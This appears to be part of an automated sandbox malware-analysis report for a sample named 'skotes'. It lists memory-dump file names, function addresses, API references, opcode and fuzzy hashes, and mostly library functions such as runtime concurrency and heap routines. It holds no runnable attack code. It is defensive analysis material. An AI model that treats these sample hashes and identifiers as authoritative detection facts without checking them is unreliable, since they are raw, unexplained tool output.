Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d884861e1ae436a59cb3f970a7d4a74f50dafbe7aa0a3e9bc289e9b32b4dfdc5
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: E6F0AE31500E205EF5A1AB549411FE623D79F40711F04C41DE45B97643CE24F882CF54

Function 00607A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00607AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00607B01

Strings

d+e, xrefs: 00607A94, 00607AA2, 00607A9A

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: d+e
API String ID: 1432671424-4214739536
Opcode ID: a029f77e9808991ab55a44310397850e12aee3678c08a0e290509425163630a7
Instruction ID: 5d1a5b89062e6a9866a156d07c355a4a9a257a28ad3e8004a3c82708d8d5a3e8
Opcode Fuzzy Hash: a029f77e9808991ab55a44310397850e12aee3678c08a0e290509425163630a7
Instruction Fuzzy Hash: C031F6B1A447049FD728DFA8D841A5BB7E9EF18310F100A2EE945C32C1E771FA5487A5

Function 0062F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0062F3A3

Strings

8"e, xrefs: 0062F44B
`'e, xrefs: 0062F375

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"e$`'e
API String ID: 3903695350-2647440560
Opcode ID: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction ID: 9ba7bb5b750b6cd6846220f86bdefed634325c7d7abfe799aea1448b86e91c4a
Opcode Fuzzy Hash: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction Fuzzy Hash: 8F315B31600A21DFEB71AB79E845B9B77FAEF00352F10483DE845D6696DEB0AC808F55

Function 0062F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0062F232
__freea.LIBCMT ref: 0062F298

Part of subcall function 0062B04B: RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,052C0919), ref: 0062B07D

Strings

Zb,mb, xrefs: 0062F1D2

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zb,mb
API String ID: 809856575-2221940238
Opcode ID: 262c3bdd3bda89cc529b633a0173abf36366fd999df7c11f00af48544bb0bd71
Instruction ID: f23a8d399f324ebea3a921fab238375755feaa15a5e506c19726b812a4e5a87b
Opcode Fuzzy Hash: 262c3bdd3bda89cc529b633a0173abf36366fd999df7c11f00af48544bb0bd71
Instruction Fuzzy Hash: 3531B271901A2AEBDB219FA4EC41EEF7BBAEF41710F054138F914A7251DB308E51CBA4

Function 00621704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00621764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006217AF

Strings

pContext, xrefs: 006217A7

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: c24fd73ce95f371481a2a0a6caa808acfb4f2be3eeaf06a8d1f6f7d4a4dea070
Instruction ID: 342f4eb61742abd8f4883abda6a682aa70e850acf01cc3158afcbab7fc6948a0
Opcode Fuzzy Hash: c24fd73ce95f371481a2a0a6caa808acfb4f2be3eeaf06a8d1f6f7d4a4dea070
Instruction Fuzzy Hash: E8113639A046309BCB45AF18E4845AD73A7AFE6360B054069EC029F381DB74ED01CFD0

Function 00610C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00610CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00610D2A

Strings

p[e, xrefs: 00610CCF

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
